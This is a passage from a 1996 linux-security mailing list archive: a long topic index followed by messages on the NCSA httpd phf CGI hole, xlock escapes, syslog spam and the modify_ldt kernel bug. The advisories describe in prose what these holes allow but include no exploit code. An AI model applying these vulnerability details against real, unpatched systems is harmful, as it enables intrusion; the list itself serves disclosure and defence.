Re: [linux-security] Cfinger (Yet more :) Re: [linux-security] Finger Doubt linux-security.960925: [linux-security] CERT Summary CS-96.05 linux-security.960927: Re: [linux-security] Re: GSSAPI for Linux (follow up..) linux-security.960928: Re: [linux-security] Finger Doubt [linux-security] SYN flooding program Re: [linux-security] Cfinger (Yet more :) linux-security.960929: Re: [linux-security] Finger Doubt linux-security.961002: Re: [linux-security] Finger Doubt linux-security.961003: [linux-security] Proper permissions for sendmail/procmail and directories [linux-security] Shadow passwd race condition [linux-security] Re: A SERIOUS security problem!!!! linux-security.961005: [linux-security] problem in in.pop3d [linux-security] libc 5.4.7 Re: [linux-security] Shadow passwd race condition linux-security.961006: Re: [linux-security] problem in in.pop3d Re: [linux-security] libc 5.4.7 linux-security.961007: Re: [linux-security] libc 5.4.7 linux-security.961008: Re: [linux-security] libc 5.4.7 [linux-security] Linux firewall with ro fs? linux-security.961009: Re: [linux-security] libc 5.4.7 Re: [linux-security] Linux firewall with ro fs? Re: [linux-security] libc 5.4.7 [linux-security] CERT Advisory CA-96.22 - Vulnerabilities in bash linux-security.961012: [linux-security] Summary: Linux firewall with ro fs? Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] Linux firewall with ro fs? [linux-security] tty chowning Re: [linux-security] Linux firewall with ro fs? Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 linux-security.961013: Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 [linux-security] telnetd/telnetsnoopd (was Re: libc 5.4.7) [linux-security] Dialup Password Implementation Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 linux-security.961014: Re: [linux-security] telnetd/telnetsnoopd (was Re: libc 5.4.7) Re: [linux-security] telnetd/telnetsnoopd (was Re: libc 5.4.7) linux-security.961016: [linux-security] sshd with a custom shadow /bin/login [linux-security] Attempt to break through ftp Re: [linux-security] Attempt to break through ftp Re[2]: [linux-security] Attempt to break through ftp linux-security.961017: Re: [linux-security] tty chowning [linux-security] Re: Alinux-securityA Attempt to break through ftp [linux-security] lots of in.comsat calls lately... Re: [linux-security] Attempt to break through ftp linux-security.961018: Re: Re[2]: [linux-security] Attempt to break through ftp [linux-security] Re: ftpd bug? Was: bin/1805: Bug in ftpd (fwd) [linux-security] WinNT security? [linux-security] a /tmp solution [linux-security] t bit and symlinks patch [linux-security] Security hole in installation of suidperl from RedHat 4.0 Re: [linux-security] Attempt to break through ftp linux-security.961019: Re: [linux-security] lots of in.comsat calls lately... Re: [linux-security] Security hole in installation of suidperl from RedHat 4.0 [linux-security] Re: t bit and symlinks patch Re: [linux-security] WinNT security? [linux-security] Re: t bit and symlinks patch Re: [linux-security] WinNT security? [linux-security] safe ftpd's Re: [linux-security] Re: t bit and symlinks patch linux-security.961020: Re: [linux-security] WinNT security? [linux-security] ncpmount/ncpumount [linux-security] certifications, etc. [linux-security] NFS, /proc, and nfsd --re-export [linux-security] firewall again Re: [linux-security] safe ftpd's linux-security.961021: [linux-security] URGENT: Bug in linux networking stack linux-security.961024: Re: [linux-security] ncpmount/ncpumount Re: [linux-security] Re: t bit and symlinks patch [linux-security] telnetd_exploit source Re: [linux-security] Re: t bit and symlinks patch Re: [linux-security] safe ftpd's [linux-security] Possible compromise? Re: [linux-security] Re: t bit and symlinks patch [linux-security] Linux and lpd Re: [linux-security] ncpmount/ncpumount [linux-security] Re: [linux-alert] URGENT: Bug in linux networking stack linux-security.961025: [linux-security] Re: kernel bug -> security problem Re: [linux-security] Re: t bit and symlinks patch Re: [linux-security] WinNT security? Re: [linux-security] Re: t bit and symlinks patch Re: [linux-security] ncpmount/ncpumount Re: [linux-security] Re: t bit and symlinks patch linux-security.961026: Re: [linux-security] Re: kernel bug -> security problem Re: [linux-security] Re: kernel bug -> security problem Re: [linux-security] safe ftpd's Re: [linux-security] Re: t bit and symlinks patch linux-security.961027: Re: [linux-security] Re: kernel bug -> security problem [linux-security] Attack from Crystal.ElectroCity.com linux-security.961028: Re: [linux-security] Linux and lpd linux-security.961029: Re: [linux-security] Re: t bit and symlinks patch linux-security.961030: Re: [linux-security] Re: t bit and symli linux-security.961031: Re: [linux-security] Re: t bit and symlinks patch [linux-security] do_rlogin problem linux-security/TOPICS100664 1767 1767 101354 6246256240 14123 0ustar majdommajdom/proc insecurity linux-security.960103, linux-security.960104, linux-security.960105, linux-security.960108 [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 linux-security.960703 [linux-security] /bin/false linux-security.960617 [linux-security] [8lgm]-Advisory-26.U... linux-security.960703, linux-security.960704 [linux-security] [BUG] Vulnerability ... linux-security.960916 [linux-security] [Fwd: HTTPd 1.5a Sec... linux-security.960207 [linux-security] [linux-alert] SECURI... linux-security.960820 [linux-security] [linux-alert] Yet An... linux-security.960504 [linux-security] A (possibly) crazy i... linux-security.960807 [linux-security] a /tmp solution linux-security.961018 [linux-security] about in.identd linux-security.960717, linux-security.960718, linux-security.960720 [linux-security] About suid etc. prog... linux-security.960827 [linux-security] Accelerated X , mach... linux-security.960509 [linux-security] ADMIN: LSF Updates, ... linux-security.960918 [linux-security] Administrative note ... linux-security.960509 [linux-security] Admin note (recent t... linux-security.960610, linux-security.960612, linux-security.960613, linux-security.960616, linux-security.960617 [linux-security] Admin note. linux-security.960909 [linux-security] Alternative to NIS linux-security.960723, linux-security.960724, linux-security.960725, linux-security.960727 [linux-security] ANNOUNCE: Shadow + R... linux-security.960610 [linux-security] Announcement: ONC RP... linux-security.960304, linux-security.960305 [linux-security] ANNOUNCEMENT: Secure... linux-security.960227, linux-security.960302 [linux-security] Archive/Listing linux-security.960816, linux-security.960819 [linux-security] A secure (?) nfs-ser... linux-security.960624, linux-security.960625, linux-security.960626, linux-security.960628, linux-security.960629, linux-security.960701 [linux-security] atoi et al linux-security.960511 [linux-security] Attack from Crystal.... linux-security.961027 [linux-security] Attempt to break thr... linux-security.961016, linux-security.961017, linux-security.961018 [linux-security] bash security hole linux-security.960823, linux-security.960824, linux-security.960826, linux-security.960827, linux-security.960903 [linux-security] Big hole in sys_modi... linux-security.960320 [linux-security] Big security hole in... linux-security.960613, linux-security.960616, linux-security.960619 [linux-security] BoS: announcing ypgh... linux-security.960303, linux-security.960304 [linux-security] BoS: CERT Advisory C... linux-security.960626, linux-security.960627, linux-security.960629, linux-security.960703 [linux-security] BoS: Mycroftish desc... linux-security.960822, linux-security.960827 [linux-security] BoS: test-cgi proble... linux-security.960424 [linux-security] Bounds checking prob... linux-security.960508, linux-security.960509, linux-security.960511 [linux-security] CERT#1157 Re: vulner... linux-security.960828 [linux-security] CERT Advisory CA-96.... linux-security.960329, linux-security.960709, linux-security.960919, linux-security.960920, linux-security.961009 [linux-security] certifications, etc. linux-security.961020 [linux-security] CERT says. linux-security.960724, linux-security.960725 [linux-security] CERT Summary CS-96.05 linux-security.960925 [linux-security] Cfinger linux-security.960919 [linux-security] Cfinger (Yet more :) linux-security.960920, linux-security.960922, linux-security.960924, linux-security.960928 [linux-security] chroot (1) security ... linux-security.960828, linux-security.960902 [linux-security] CIAC Bulletin G-42:V... linux-security.960916 [linux-security] Corrected post: Expl... linux-security.960509 [linux-security] Denial of service in... linux-security.960502, linux-security.960504, linux-security.960505, linux-security.960507, linux-security.960509, linux-security.960511 [linux-security] des_setparity securi... linux-security.960819 [linux-security] Dialup Password Impl... linux-security.961013 [linux-security] Dicts .... linux-security.960821 [linux-security] dip linux-security.960710, linux-security.960712, linux-security.960713 [linux-security] Disabeling symlinks?... linux-security.960617 [linux-security] do_rlogin problem linux-security.961031 [linux-security] environment in general linux-security.960331 [linux-security] ext2fs file attribut... linux-security.960601, linux-security.960602 [linux-security] Finger Doubt linux-security.960918, linux-security.960920, linux-security.960922, linux-security.960924, linux-security.960928, linux-security.960929, linux-security.961002 [linux-security] firewall again linux-security.961020 [linux-security] Fix available for el... linux-security.960911, linux-security.960912 [linux-security] From bugtraq: sendma... linux-security.960912 [linux-security] FTPd vulnerability a... linux-security.960728, linux-security.960729, linux-security.960730 [linux-security] good character, bad ... linux-security.960404, linux-security.960405, linux-security.960409 [linux-security] GSSAPI for Linux linux-security.960908, linux-security.960910, linux-security.960912 [linux-security] inetd and denial-of-... linux-security.960820, linux-security.960821, linux-security.960822, linux-security.960823, linux-security.960824, linux-security.960825, linux-security.960826, linux-security.960827, linux-security.960828, linux-security.960830, linux-security.960903 [linux-security] Inetd problem -followup linux-security.960511 [linux-security] Is there a final wor... linux-security.960904 [linux-security] Java security bug (a... linux-security.960306, linux-security.960309 [linux-security] joy linux-security.960709, linux-security.960710, linux-security.960712 [linux-security] Kernels 1.3.6[12] br... linux-security.960212 [linux-security] kmem linux-security.960721 [linux-security] libc 5.4.7 linux-security.961005, linux-security.961006, linux-security.961007, linux-security.961008, linux-security.961009, linux-security.961012, linux-security.961013 [linux-security] libc bug exploited t... linux-security.960510, linux-security.960511 [linux-security] Linux-kernel bugs in... linux-security.960729 [linux-security] Linux and lpd linux-security.961024, linux-security.961028 [linux-security] Linux firewall with ... linux-security.961008, linux-security.961009, linux-security.961012 [linux-security] Linux NetKit-B update. linux-security.960725, linux-security.960726 [linux-security] locate & updatedb linux-security.960426, linux-security.960429, linux-security.960503, linux-security.960504 [linux-security] Locking consoles. linux-security.960822 [linux-security] lots of in.comsat ca... linux-security.961017, linux-security.961019 [linux-security] LSF: Cryptographic F... linux-security.960417, linux-security.960504 [linux-security] LSF Update#11: Vulne... linux-security.960731 [linux-security] LSF Update#13: Vulne... linux-security.960830 [linux-security] LYNX-DEV security pr... linux-security.960827 [linux-security] Minor technical diff... linux-security.960824 [linux-security] more Java/Netscape h... linux-security.960306 [linux-security] mount linux-security.960918 [linux-security] mount/umount realpat... linux-security.960813 [linux-security] ncpmount/ncpumount linux-security.961020, linux-security.961024, linux-security.961025 [linux-security] NCSA httpd cgi-bin a... linux-security.960308 [linux-security] NetKit-B-0.07A linux-security.960726 [linux-security] NFS, /proc, and nfsd... linux-security.961020 [linux-security] NFS security bug linux-security.960502 [linux-security] nonroot sendmail linux-security.960828 [linux-security] Passing the baton linux-security.960717 [linux-security] password for over 8 ... linux-security.960911 [linux-security] Patch for 1.2.13 mod... linux-security.960320 [linux-security] Patch for ytalk-3.2 linux-security.960511 [linux-security] pgpsendmail linux-security.960917 [linux-security] Pine security problem linux-security.960911 [linux-security] pop3d minimal securi... linux-security.960826 [linux-security] Possible compromise? linux-security.961024 [linux-security] possible security bu... linux-security.960830 [linux-security] problem in in.pop3d linux-security.961005, linux-security.961006 [linux-security] Problems running cra... linux-security.960816, linux-security.960819, linux-security.960821 [linux-security] Problem with sliplog... linux-security.960321 [linux-security] Proper permissions f... linux-security.961003 [linux-security] pty's and utmp - a d... linux-security.960902, linux-security.960903, linux-security.960906, linux-security.960910, linux-security.960911, linux-security.960912 [linux-security] publically writable ... linux-security.960621 [linux-security] qmail,wu.ftpd,deslog... linux-security.960816, linux-security.960819, linux-security.960820, linux-security.960822 [linux-security] Radius linux-security.960725 [linux-security] Radiusd DOS Attacks ... linux-security.960824 [linux-security] Re: [linux-alert] UR... linux-security.961024 [linux-security] Re: [linux-alert] Vu... linux-security.960814 [linux-security] Re: Alinux-securityA... linux-security.960420, linux-security.961017 [linux-security] Re: Anon ftp pkg? linux-security.960822 [linux-security] Re: A secure (?) nf... linux-security.960701, linux-security.960702 [linux-security] Re: A SERIOUS securi... linux-security.961003 [linux-security] Re: Big security hol... linux-security.960613, linux-security.960617 [linux-security] Re: BoS: Re: Vulnera... linux-security.960404 [linux-security] Re: ftpd bug? Was: b... linux-security.961018 [linux-security] Re: GSSAPI for Linux... linux-security.960919, linux-security.960920, linux-security.960927 [linux-security] Re: identd hole? linux-security.960716, linux-security.960717, linux-security.960718 [linux-security] Re: kernel bug -> se... linux-security.961025, linux-security.961026, linux-security.961027 [linux-security] Re: Kernels 1.3.6[12... linux-security.960212 [linux-security] Re: linux-security-d... linux-security.960605 [linux-security] Re: list of setuid p... linux-security.960726, linux-security.960727 [linux-security] RE: Little exploit i... linux-security.960827 [linux-security] Re: LYNX-DEV securit... linux-security.960829, linux-security.960830, linux-security.960902 [linux-security] Re: Mprog Thread linux-security.960619 [linux-security] Re: password for ove... linux-security.960911, linux-security.960912 [linux-security] Re: Possible buffero... linux-security.960813, linux-security.960819, linux-security.960820, linux-security.960821, linux-security.960822 [linux-security] Re: RESOLV_HOST_CONF linux-security.960825, linux-security.960826, linux-security.960827, linux-security.960829 [linux-security] Re: rwhod buffer ove... linux-security.960822 [linux-security] Re: sendmail-8.7.5 linux-security.960912 [linux-security] Re: SUDO problems linux-security.960730, linux-security.960731 [linux-security] Re: t bit and symli linux-security.961030 [linux-security] Re: t bit and symlin... linux-security.961019, linux-security.961024, linux-security.961025, linux-security.961026, linux-security.961029, linux-security.961031 [linux-security] Re: Vulnerabilities ... linux-security.960402 [linux-security] Re: Vulnerability in... linux-security.960829 [linux-security] Re: Vulnerability li... linux-security.960821 [linux-security] Re: Vulnrability in ... linux-security.960813 [linux-security] Re: WARNING: libc/ru... linux-security.960422 [linux-security] Re: writing setuid p... linux-security.960719 [linux-security] Re: You wouldn't bel... linux-security.960710, linux-security.960712 [linux-security] RedHat 2.1 RPMs for ... linux-security.960210 [linux-security] Regarding the forwar... linux-security.960207 [linux-security] Reminder: Please inc... linux-security.960502 [linux-security] RESOLV_HOST_CONF linux-security.960825, linux-security.960827, linux-security.960828 [linux-security] RESOLV_HOST_CONF (fwd) linux-security.960826 [linux-security] running a shadowed s... linux-security.960520 [linux-security] rwhod buffer overflow linux-security.960822, linux-security.960823, linux-security.960824 [linux-security] S/Key and Shadow Pas... linux-security.960602, linux-security.960603, linux-security.960620, linux-security.960624 [linux-security] safe ftpd's linux-security.961019, linux-security.961020, linux-security.961024, linux-security.961026 [linux-security] samba 1.9.16p2-2 (Re... linux-security.960909 [linux-security] samba security hole... linux-security.960417 [linux-security] Saving Passwords in ... linux-security.960822, linux-security.960827 [linux-security] Secure Filesystem linux-security.960821, linux-security.960822 [linux-security] Secure Linux Project linux-security.960227 [linux-security] SecurID White Paper linux-security.960904 [linux-security] Security bug in logi... linux-security.960325 [linux-security] Security hole in Abu... linux-security.960724, linux-security.960725, linux-security.960726 [linux-security] Security hole in ins... linux-security.961018, linux-security.961019 [linux-security] Security hole in xlock linux-security.960310, linux-security.960311 [linux-security] security idea linux-security.960715, linux-security.960716, linux-security.960717 [linux-security] Security problems in... linux-security.960412, linux-security.960413, linux-security.960414, linux-security.960415, linux-security.960416, linux-security.960417 [linux-security] sendmail security linux-security.960724, linux-security.960726, linux-security.960727, linux-security.960728, linux-security.960808, linux-security.960809, linux-security.960810, linux-security.960812, linux-security.960814 [linux-security] sendmail security i linux-security.960723 [linux-security] sendmail security is... linux-security.960717, linux-security.960721, linux-security.960724 [linux-security] sendmail w/o suid root? linux-security.960827 [linux-security] Serious Security hol... linux-security.960528 [linux-security] sh != bash (was "bas... linux-security.960827 [linux-security] sh-utils-1.12+security linux-security.960503 [linux-security] Shadow passwd race c... linux-security.961003, linux-security.961005 [linux-security] SlackWare 3.0 insecu... linux-security.960223 [linux-security] sliplogin linux-security.960716, linux-security.960717 [linux-security] sliplogin hole expla... linux-security.960329, linux-security.960331, linux-security.960401, linux-security.960402, linux-security.960404, linux-security.960406, linux-security.960407 [linux-security] slp-charter [Forward... linux-security.960306 [linux-security] smbmount (and ncpmou... linux-security.960821 [linux-security] SO_REUSEADDR linux-security.960519, linux-security.960520, linux-security.960521 [linux-security] sshd with a custom s... linux-security.961016 [linux-security] SSL linux-security.960605, linux-security.960606, linux-security.960610, linux-security.960611 [linux-security] standard users,grou linux-security.960621, linux-security.960625 [linux-security] standard users,group... linux-security.960605, linux-security.960606, linux-security.960610, linux-security.960611, linux-security.960612, linux-security.960614, linux-security.960616, linux-security.960617, linux-security.960624 [linux-security] sudo limiting linux-security.960619, linux-security.960620, linux-security.960621, linux-security.960624, linux-security.960625 [linux-security] sudo passwd wrapper linux-security.960703, linux-security.960704, linux-security.960705 [linux-security] SUDO problems linux-security.960712, linux-security.960713, linux-security.960715 [linux-security] Suggestion for Linux... linux-security.960809, linux-security.960812 [linux-security] Suid Programs / Help... linux-security.960827, linux-security.960829, linux-security.960830, linux-security.960901 [linux-security] Summary: Linux firew... linux-security.961012 [linux-security] Summary re: syslogd ... linux-security.960320, linux-security.960328, linux-security.960402 [linux-security] suspicious users linux-security.960613, linux-security.960617, linux-security.960621, linux-security.960625, linux-security.960628, linux-security.960703 [linux-security] Symlinks as holes (W... linux-security.960617 [linux-security] Syn flood/IP spoofin... linux-security.960924 [linux-security] SYN flooding (was in... linux-security.960827, linux-security.960830, linux-security.960901 [linux-security] SYN flooding program linux-security.960928 [linux-security] syn floods linux-security.960826 [linux-security] Sysklogd spam linux-security.960318 [linux-security] Talk security? linux-security.960616, linux-security.960617, linux-security.960619, linux-security.960621, linux-security.960624 [linux-security] t bit and symlinks p... linux-security.961018 [linux-security] TCP Security Bug *RE... linux-security.960418 [linux-security] TCP Wrappers Syslogging linux-security.960809, linux-security.960810, linux-security.960825 [linux-security] Technical problems..... linux-security.960402 [linux-security] telnetd/telnetsnoopd... linux-security.961013, linux-security.961014 [linux-security] telnetd_exploit source linux-security.961024 [linux-security] Test SQUAD recruitme... linux-security.960725 [linux-security] Test squad results o... linux-security.960730 [linux-security] Things NOT to put in... linux-security.960521, linux-security.960525 [linux-security] Thread regarding ~root. linux-security.960616 [linux-security] Trojan manpages summ... linux-security.960417 [linux-security] tty chowning linux-security.961012, linux-security.961017 [linux-security] two comments.. linux-security.960403, linux-security.960404 [linux-security] uhh.. security? linux-security.960510, linux-security.960511 [linux-security] updatedb + locate linux-security.960302 [linux-security] URGENT: Bug in linux... linux-security.961021 [linux-security] Vulnerabilities in m... linux-security.960402 [linux-security] Vulnerability in ALL... linux-security.960813 [linux-security] vulnerability in spl... linux-security.960826, linux-security.960827 [linux-security] WARNING: libc/rusero... linux-security.960421, linux-security.960422, linux-security.960424 [linux-security] WinNT security? linux-security.961018, linux-security.961019, linux-security.961020, linux-security.961025 [linux-security] wordperfect for linux linux-security.960709 [linux-security] writing setuid progr... linux-security.960718 [linux-security] wu.ftp, ftpaccess, a... linux-security.960616, linux-security.960617, linux-security.960619, linux-security.960621 [linux-security] xdm sessions still w... linux-security.960802 [linux-security] Yet Another Java Hole. linux-security.960502 [linux-security] ytalk linux-security.960830 about chroot. linux-security.960104, linux-security.960105 abuse Red Hat 2.1 security hole linux-security.960203 Aiiiieeee!! linux-security.960131 Announcement: ONC RPC / NIS security ... linux-security.960304 Another way to run native code from J... linux-security.960502 bind() Security Problems linux-security.960131, linux-security.960202 BoS: announcing ypghost linux-security.960303 BoS: CERT Advisory CA-96.12 - Vulnera... linux-security.960626 BoS: Mycroftish description of bash h... linux-security.960822 BoS: Re: [linux-security] two comments.. linux-security.960404 BoS: Re: XFree86 3.1.2 Security Problems linux-security.960131 CERT Advisory CA-96.07 - Weaknesses i... linux-security.960329 CORRECTED(!) Linux Security FAQ Updat... linux-security.960112 dump RedHat security hole linux-security.960123, linux-security.960202 elvis linux-security.960102 Environment Variables (Was Re: [linux... linux-security.960829, linux-security.960901 filter (elm package) security hole linux-security.960102 Filter Exploit linux-security.960102 fvwm fix linux-security.960114 Fwd: [linux-security] security idea linux-security.960717, linux-security.960718, linux-security.960724, linux-security.960725, linux-security.960726 HTTPd 1.5a Security Hole!!! linux-security.960207 Java/JavaScript security breaches linux-security.960306 Java security bug (applets can load n... linux-security.960306 Kevin Littlejohn: Re: [linux-security... linux-security.960827 Linux: dip security hole linux-security.960122, linux-security.960123 Linux Security FAQ Update#9: Splitvt ... linux-security.960102 LSF Update#10: Another correction. linux-security.960113 LSF Update#11: Vulnerability of rxvt linux-security.960201 LYNX-DEV security problem with enviro... linux-security.960827 More find -exec rm dangers was: Re: B... linux-security.960530, linux-security.960601 more mktemp() and pop3d linux-security.960102 PAM implementation effort.... linux-security.960112 PAM overview linux-security.960110 Password checking - JFH the way forwa... linux-security.960110 Problem with minicom 1.71 linux-security.960201 Proposal: s[gu]id standards. linux-security.960128, linux-security.960129 Re[2]: [linux-security] Attempt to br... linux-security.961016, linux-security.961018 Red Hat mh inc/msgchk security hole linux-security.960126 resizecons Red Hat 2.1 security hole linux-security.960203 restorefont security hole linux-security.960105, linux-security.960115 rxvt hole linux-security.960102 rxvt security hole linux-security.960102 Satan II linux-security.960129 Satan II (fwd) linux-security.960129 SECURITY FIX: New NetKit-B and sliplo... linux-security.960210 Serious Security hole in getpwnam () linux-security.960528 Shadow /bin/login security hole linux-security.960129, linux-security.960202 Shadow development mailing list linux-security.960111 Slight mail hub problems: three "drop... linux-security.960102 slp-charter linux-security.960306 SUID binaries linux-security.960126, linux-security.960128 System log practicalities (was Re: [l... linux-security.960820, linux-security.960821, linux-security.960822, linux-security.960823, linux-security.960824, linux-security.960826 XFree86 3.1.2 Security Problems linux-security.960129, linux-security.960202 XFree86 3.1.2 Security Problems (fwd) linux-security.960202 linux-security/linux-security.960308100664 1767 1767 5423 6117767050 16641 0ustar majdommajdomFrom [email protected] Fri Mar 8 03:21:58 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id DAA08474; Fri, 8 Mar 1996 03:21:58 -0500 Date: Fri, 8 Mar 1996 03:15:51 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected] CC: [email protected] Subject: [linux-security] NCSA httpd cgi-bin application vulnerability. X-Palindrome: Ten animals I slam in a net. X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list If you are running NCSA's httpd WWW server (or, conceivably, someone else's), have compiled the phf.c application found in the NCSA distribution's cgi-src directory, and have installed it into an area designated for cgi-bin applications, please 'chmod a-x' it immediately. (This applies to *at least* the phf.c application as provided with NCSA httpd versions 1.3 and 1.5a-export; I've not inspected the other distributions yet.) Many sites (I've looked around a bit and have had a hit rate of roughly 50% so far, but maybe I'm just "lucky")--including the top-level WWW servers for some large and/or very high-profile domains--appear to have "blindly" installed all of the cgi-src applications provided with NCSA's httpd. The most notable aspect of this particular cgi-bin vulnerability, at least to me, is not so much the vulnerability itself (it's been seen before) but rather its quite widespread nature. This vulnerability allows a remote client to retrieve any world-readable file from the server system, as well as execute commands and create files on the server with the privileges of the euid of the httpd server process. Depending on the server's (mis)configuration, this could conceivably be used as an avenue through which to replace the httpd server binary itself with a trojan--quite possibly to be run as root during the system's next boot cycle. It can also be used, largely independent of the server system's configuration--and rather easily--to gain remote interactive access to the server with the userid that the httpd server runs under. (I'm sure there are lots of other "nifty" possibilities, but I first found out about this a just few waking hours ago and have so far performed only the most basic proof-of-concept exploits.) More details (full disclosure, etc.) to follow on the linux-security list and on Bugtraq.... --Up. P.S. I'll bet everyone just can't wait for Java! -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ linux-security/linux-security.960309100664 1767 1767 3236 6120341330 16621 0ustar majdommajdomFrom [email protected] Sat Mar 9 12:41:35 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id MAA02155; Sat, 9 Mar 1996 12:41:35 -0500 Date: Fri, 8 Mar 1996 03:15:45 +0100 (MET) From: "Anthony C. Zboralski" X-Sender: [email protected] To: Jeff Uphoff cc: [email protected] Subject: Re: [linux-security] Java security bug (applets can load native methods) (fwd) In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- hum, i saw that the Sun browser Hotjava is also available for linux and that a moz_2.0.zip update was made available on netscape's ftp but i haven't checked them yet. We should try to contact Sami Shaio at Sun who has designed the applet security mechanisms (if there is any).. It is possible to disable java in the Options-Security menu of Netscape. Anthony C. Zboralski, Send a msg to with the command "GET 0x38239E75" in the subject field in order to get my PGP:pub/key. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv Comment: PGP 2.6.3i is out, ftp://ftp.ox.ac.uk/pub/crypto/pgp/ iQCVAwUBMT+YR1/59mQ4I551AQE5AgQAgbnDQDeMJHeNO3NeBTgpeQP25bQEH0j8 YSaQmzwz4oJWy0nT0kU966vrFdghPNtRxiQS/CReADrPhwdnraqHwwXRZLXCa5Ke pIncQB9xu+Ck59ag6ZLMll929HhfNq1p/8EO7Lozlrj/IN5/54FkGmWPd3reCg+W kSxgEgCnH4Q= =/I3b -----END PGP SIGNATURE----- linux-security/linux-security.960310100664 1767 1767 1636 6120633313 16620 0ustar majdommajdomFrom [email protected] Sun Mar 10 15:08:40 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id PAA04958; Sun, 10 Mar 1996 15:08:39 -0500 Message-Id: Date: Thu, 7 Mar 96 07:06 CST From: [email protected] (Robert Nichols) To: [email protected] Subject: [linux-security] Security hole in xlock Sender: [email protected] Precedence: list I don't know whether this is Linux-specific, but 'xlock' really should disable Ctrl-Alt-Backspace. If X is started from a login session, C-A-B allows anyone walking up to the keyboard to escape back to the invoking user's login shell unless that user had the foresight to use 'exec' when invoking X. BTW, I'm still running XFree86 2.1.1. I apologize if this has been fixed in a newer release. -- Bob Nichols [email protected] linux-security/linux-security.960311100664 1767 1767 5012 6121133707 16614 0ustar majdommajdomFrom [email protected] Mon Mar 11 18:31:17 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id SAA14204; Mon, 11 Mar 1996 18:31:17 -0500 Date: Mon, 11 Mar 1996 18:29:06 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Re: [linux-security] Security hole in xlock X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list There have been several followups to this original message: Robert Nichols wrote: > I don't know whether this is Linux-specific, but 'xlock' really should > disable Ctrl-Alt-Backspace. If X is started from a login session, C-A-B > allows anyone walking up to the keyboard to escape back to the invoking > user's login shell unless that user had the foresight to use 'exec' when > invoking X. I am summarizing them in this one post rather than forwarding all of the individual messages to the list: (Several people also noted that you can use Ctrl+Alt+F to switch to another VC and then suspend or kill X to gain access to the console user's login session.) One method to use to address this problem is to run 'xdm' as an init-level process (i.e. from /etc/inittab or from an rc script such as /etc/rc.d/rc.local, or your distribution's equivalent). C-A-D is not disabled in this case, but if someone uses it to blast out of 'xlock' then they are greeted by an 'xdm' login screen and thus do not end up in a user's console login session (since there is no such session). Another method is to add a "DontZap" line to your X11 server configuration file, effectively disabling the C-A-D key-sequence. This is explained the XF86Config(5) manpage: DontZap This disallows the use of the Ctrl+Alt+Backspace sequence. This sequence allows you to terminate the X server. Setting DontZap allows this key sequence to be passed to clients. Credits on this to: Jon Lewis , VC switching. Darin Fisher , using xdm. Michel LESPINASSE , VC switching. Gerald D. Anderson , using xdm. Christian Huettermann , using DontZap. Cy Schubert , using DontZap. Jean-Francois Patenaude , VC switching. Anthony C. Zboralski , using DontZap. linux-security/linux-security.960318100664 1767 1767 2560 6123314335 16630 0ustar majdommajdomFrom [email protected] Mon Mar 18 12:09:48 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id MAA07722; Mon, 18 Mar 1996 12:09:47 -0500 From: [email protected] >From: John Betts Message-Id: <[email protected]> Subject: [linux-security] Sysklogd spam To: [email protected] Date: Mon, 18 Mar 1996 10:21:16 +0200 (SAT) Content-Type: text Sender: [email protected] Precedence: list My machine (and a few friends on mine as well) 's sysklogd is getting spammed, saying ################################# Mar 18 10:06:57 www1.netscape.com [916406389] Your syslogd is broked! ########################################################################################################################## where www1.netscape.com varies and is a range of hosts. I am getting termendous of these from tcpdump -p 0:06:02.664395 rbit.co.za.echo > www.iuma.com.echo: udp 186 10:06:02.732615 www.iuma.com.echo > rbit.co.za.echo: udp 186 10:06:02.733221 rbit.co.za.echo > www.iuma.com.echo: udp 186 Know what the hack is, and how to fix? tia ciao -- John Betts, Aztec Internet Services Port Elizabeth, South Africa [email protected], Tel. +27(0)41 303 475, Fax. +27(0)41 301 052 Unix -- The Ultimate Solution for Microsoft Products linux-security/linux-security.960320100664 1767 1767 21353 6124046312 16640 0ustar majdommajdomFrom [email protected] Wed Mar 20 13:12:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id NAA15068; Wed, 20 Mar 1996 13:12:13 -0500 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: [linux-security] Big hole in sys_modify_ldt To: [email protected] Date: Tue, 19 Mar 1996 21:38:56 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list [mod: I thought this had been brought up on the list before, but I didn't find it in my archive, so I'm just making sure. --okir] Looks like the longest-living Linux security hole, probably serious enough for a CERT advisory... Almost all currently running Linux systems have a bug in the modify_ldt system call, which doesn't do all necessary sanity checks. It allows users to access all kernel memory, and there is an exploit program which uses this to change UID of the parent process to 0. Not pretty. The modify_ldt system call was introduced in 0.99pl11 (!) or so. It is x86-specific (used by Wine) - Linux on non-x86 platforms (Alpha, Sparc, m68k etc.) is not vulnerable. Because this bug is very dangerous, and it affects so many systems, I'm not sure if it is a good idea to post the exploit program here. It has been posted to the linux-kernel development mailing list. This bug has been fixed in 1.3.72. Either upgrade to this (or newer) version, or copy the file arch/i386/kernel/ldt.c from 1.3.72 to your current kernel source, 